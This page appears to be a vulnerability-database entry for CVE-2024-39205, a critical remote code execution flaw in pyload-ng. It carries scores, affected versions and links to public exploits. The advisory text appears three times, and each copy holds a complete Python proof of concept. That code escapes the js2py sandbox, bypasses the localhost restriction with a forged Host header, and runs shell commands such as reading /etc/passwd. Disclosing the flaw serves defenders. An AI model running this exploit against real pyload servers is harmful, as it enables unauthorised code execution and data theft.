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CVE-2024-39205

pyload-ng vulnerable to RCE with js2py sandbox escape

9.8 CriticalPublic exploit

An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.

Attack profile

How easy it is to exploit

Attack vector
Network
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

16.5%Up 16.5 points since Oct 29, 2024
90%50%10%1%

What each source reports

CVE List Score used 9.8

An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.

Record
CVE-2024-39205
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
EUVDEUVD-2024-2864 9.8

An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.

Record
EUVD-2024-2864
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-03
GitHub AdvisoriesGHSA-r9pp-r4xf-597r 9.3

pyload-ng vulnerable to RCE with js2py sandbox escape

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Record
GHSA-r9pp-r4xf-597r
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
NVD 9.8

An issue in pyload-ng v0.5.0b3.dev85 running under python3.11 or below allows attackers to execute arbitrary code via a crafted HTTP request.

Record
CVE-2024-39205
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVGHSA-r9pp-r4xf-597r 9.3

pyload-ng vulnerable to RCE with js2py sandbox escape

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
    let result;
    for(let i in o.__subclasses__()) {
        let item = o.__subclasses__()[i]
        if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
            return item
        }
        if(item.__name__ != "type" && (result = findpopen(item))) {
            return result
        }
    }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
    return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

    s = socket.socket()
    s.connect((host, port))

    s.send(request)
    response = s.recv(1024).decode()
    print(response)

if __name__ == "__main__":
    main()


Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Record
GHSA-r9pp-r4xf-597r
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-94
Updated
2026-11-02
OSVPYSEC-2026-499 9.3

pyload-ng vulnerable to RCE with js2py sandbox escape

Summary

Any pyload-ng running under python3.11 or below are vulnerable under RCE. Attacker can send a request containing any shell command and the victim server will execute it immediately.

Details

js2py has a vulnerability of sandbox escape assigned as CVE-2024-28397, which is used by the /flash/addcrypted2 API endpoint of pyload-ng. Although this endpoint is designed to only accept localhost connection, we can bypass this restriction using HTTP Header, thus accessing this API and achieve RCE.

PoC

The PoC is provided as poc.py below, you can modify the shell command it execute:

import socket
import base64
from urllib.parse import quote

host, port = input("host: "), int(input("port: "))

payload = """
// [+] command goes here:
let cmd = "head -n 1 /etc/passwd; calc; gnome-calculator;"
let hacked, bymarve, n11
let getattr, obj

hacked = Object.getOwnPropertyNames({})
bymarve = hacked.__getattribute__
n11 = bymarve("__getattribute__")
obj = n11("__class__").__base__
getattr = obj.__getattribute__

function findpopen(o) {
   let result;
   for(let i in o.__subclasses__()) {
       let item = o.__subclasses__()[i]
       if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
           return item
       }
       if(item.__name__ != "type" && (result = findpopen(item))) {
           return result
       }
   }
}

n11 = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate()
console.log(n11)
function f() {
   return n11
}

"""

crypted_b64 = base64.b64encode(b"1234").decode()

data = f"package=pkg&crypted={quote(crypted_b64)}&jk={quote(payload)}"

request = f"""\
POST /flash/addcrypted2 HTTP/1.1
Host: 127.0.0.1:9666
Content-Type: application/x-www-form-urlencoded
Content-Length: {len(data)}

{data}
""".encode().replace(b"\n", b"\r\n")

def main():

   s = socket.socket()
   s.connect((host, port))

   s.send(request)
   response = s.recv(1024).decode()
   print(response)

if __name__ == "__main__":
   main()


Impact

Anyone who runs the latest version (<=0.5.0b3.dev85) of pyload-ng under python3.11 or below. pyload-ng doesn't use js2py for python3.12 or above.

Record
PYSEC-2026-499
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
9.8 CriticalCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02

Affected products

Affected packages

Affected packages
PackageAffectedFixed
pyload-ng
PyPI
through 0.5.0b3.dev85 None known
pyload-ng
PyPI
through 0.5.0b3.dev85, plus listed versions
0.5.0a5.dev5280.5.0a5.dev5320.5.0a5.dev5350.5.0a5.dev5360.5.0a5.dev537
Show 45 moreShow less
0.5.0a5.dev5390.5.0a5.dev5400.5.0a5.dev5450.5.0a5.dev5620.5.0a5.dev5640.5.0a5.dev5650.5.0a6.dev5700.5.0a6.dev5780.5.0a6.dev5870.5.0a7.dev5960.5.0a8.dev6020.5.0a9.dev6150.5.0a9.dev6290.5.0a9.dev6320.5.0a9.dev6410.5.0a9.dev6430.5.0a9.dev6550.5.0a9.dev8060.5.0b1.dev10.5.0b1.dev20.5.0b1.dev30.5.0b1.dev40.5.0b1.dev50.5.0b2.dev100.5.0b2.dev110.5.0b2.dev120.5.0b2.dev90.5.0b3.dev130.5.0b3.dev140.5.0b3.dev170.5.0b3.dev180.5.0b3.dev190.5.0b3.dev200.5.0b3.dev210.5.0b3.dev220.5.0b3.dev240.5.0b3.dev260.5.0b3.dev270.5.0b3.dev280.5.0b3.dev290.5.0b3.dev300.5.0b3.dev310.5.0b3.dev320.5.0b3.dev330.5.0b3.dev34
None known

Public exploits

Links only. Every CVE stores no exploit code.

Public exploits
SourceLinkDate
MetasploitPyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)2024-10-28
PoC in GitHubMarven11/CVE-2024-39205-Pyload-RCE2024-10-26
PoC in GitHubbtar1gan/exploit_CVE-2024-392052025-12-23

History

History
RecordedChangedSources
aliasesEUVD
first indexedCVE List, GitHub Advisories, Metasploit, NVD, OSV, PoC in GitHub

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2024-39205 is a critical vulnerability (CVSS 9.8) in Pyload-ng Project Pyload-ng, published September 9, 2024. Public exploit code exists. EPSS puts the chance of exploitation in the next 30 days at 16.5%, the 97th percentile. No source names a fixed version.

References

This page doesn't list everything

Left out here: 40 versions. The JSON record has them.

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